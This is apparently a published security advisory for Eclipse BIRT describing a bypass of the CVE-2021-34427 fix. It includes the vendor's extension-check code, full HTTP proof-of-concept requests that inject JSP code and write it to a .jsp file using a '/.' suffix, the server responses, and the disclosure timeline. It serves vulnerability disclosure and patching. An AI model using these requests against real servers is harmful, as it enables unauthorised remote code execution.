SEC Consult Vulnerability Lab Security Advisory < 20221216-0 >
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title: Remote code execution - CVE-2021-34427 bypass
product: Eclipse Business Intelligence Reporting Tool (BiRT)
vulnerable version: <= 4.11.0
fixed version: 4.12
CVE number: CVE-2021-34427
impact: High
homepage: https://eclipse.github.io/birt-website/
found: 2022-10-05
by: Armin Stock (Atos)
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Vendor description:
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"With BIRT you can create data visualizations, dashboards and reports
that can be embedded into web applications and rich clients. Make information out
of your data!"
https://eclipse.github.io/birt-website/
Business recommendation:
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The vendor provides a patch which should be installed immediately.
Vulnerability overview/description:
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1) Remote code execution - CVE-2021-34427 bypass
The vulnerability described in CVE-2021-34427 (https://www.cvedetails.com/cve/CVE-2021-34427/)
allows an attacker to execute code on the server, by creating a `.jsp` file
with the `BiRT - WebViewerExample`. This was fixed with the following code:
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// viewer/org.eclipse.birt.report.viewer/birt/WEB-INF/classes/org/eclipse/birt/report/context/ViewerAttributeBean.java#L1081
protected static void checkExtensionAllowedForRPTDocument(String rptDocumentName) throws ViewerException {
int extIndex = rptDocumentName.lastIndexOf(".");
String extension = null;
boolean validExtension = true;
if (extIndex > -1 && (extIndex + 1) < rptDocumentName.length()) {
extension = rptDocumentName.substring(extIndex + 1);
if (!disallowedExtensionsForRptDocument.isEmpty()
&& disallowedExtensionsForRptDocument.contains(extension)) {
validExtension = false;
}
if (!allowedExtensionsForRptDocument.isEmpty() && !allowedExtensionsForRptDocument.contains(extension)) {
validExtension = false;
}
if (!validExtension) {
throw new ViewerException(BirtResources.getMessage(
ResourceConstants.ERROR_INVALID_EXTENSION_FOR_DOCUMENT_PARAMETER, new String[] { extension }));
}
}
}
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This fix can be easily bypassed by adding `/.` to the filename which allows
an attacker to execute arbitrary code.
Proof of concept:
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1) Remote code execution - CVE-2021-34427 bypass
The old exploit results in an error message:
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GET /birt/document?__report=test.rptdesign&sample=<@urlencode_all><% out.println("OS: " + System.getProperty("os.name")); out.println("Current dir: " +
getServletContext().getRealPath("/"));%><@/urlencode_all>&__document=<@urlencode>./test/info-new.jsp<@/urlencode> HTTP/1.1
Host: IP:18080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=C2A5FE509AD277742111569F8656881A
Upgrade-Insecure-Requests: 1
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Response:
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HTTP/1.1 200
Set-Cookie: JSESSIONID=A1E37E7FEC80DFFF155CAF9F642ADEB7; Path=/birt; HttpOnly
Content-Type: text/html;charset=utf-8
Date: Wed, 05 Oct 2022 06:14:54 GMT
Connection: close
Content-Length: 4644
<html>
<head>
<title>Error</title>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8"/>
</head>
<body>
<div id="birt_errorPage" style="color:red">
<span id="error_icon" style="cursor:pointer" onclick="if (document.getElementById('error_detail').style.display == 'none') { document.getElementById('error_icon').innerHTML = '- ';
document.getElementById('error_detail').style.display = 'block'; }else { document.getElementById('error_icon').innerHTML = '+ '; document.getElementById('error_detail').style.display = 'none'; }" > +
</span>
Invalid extension - "jsp" for the __document parameter.
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But adding `/.` to the end of the filename creates the file on the server as
before:
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GET /birt/document?__report=test.rptdesign&sample=<@urlencode_all><% out.println("OS: " + System.getProperty("os.name")); out.println("Current dir: " +
getServletContext().getRealPath("/"));%><@/urlencode_all>&__document=<@urlencode>./test/info-new.jsp/.<@/urlencode> HTTP/1.1
Host: IP:18080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=C2A5FE509AD277742111569F8656881A
Upgrade-Insecure-Requests: 1
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HTTP/1.1 200
Set-Cookie: JSESSIONID=5CC070E6E07D94816BF67A162E7DD8D2; Path=/birt; HttpOnly
Content-Type: text/html;charset=utf-8
Date: Wed, 05 Oct 2022 05:26:01 GMT
Connection: close
Content-Length: 283
<html><head><title>Complete</title><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8"></head>
<body style="background-color: #ECE9D8;">
<div style="font-size:10pt;"><font color="black">
The report document file has been generated successfully.</font>
</div></body></html>
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This allows the execution of the provided `JSP` code, by calling
`/birt/test/info-new.jsp`.
Vulnerable / tested versions:
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The following version has been tested, but all versions <= 4.11 are vulnerable.
* 4.10.0 (2022-10-01)
Vendor contact timeline:
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2022-11-07: Vendor contacted via bugs.eclipse.org (https://bugs.eclipse.org/bugs/show_bug.cgi?id=580994)
2022-11-17: Vendor confirmed the bypass and is working on a fix.
2022-11-17: Vendor provided a fix.
2022-11-27: The fix was tested and could be bypassed again.
2022-11-27: Vendor acknowledged the bypass and provided a new fix.
2022-11-28: The fix was tested and we were not able to bypass it.
2022-11-30: Vendor releases patched version 4.12
2022-12-16: Public release of security advisory.
Solution:
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Update Eclipse BIRT to version 4.12 or newer from the vendor's website:
https://projects.eclipse.org/projects/technology.birt/releases/4.12.0
Workaround:
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None
Advisory URL:
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https://sec-consult.com/vulnerability-lab/
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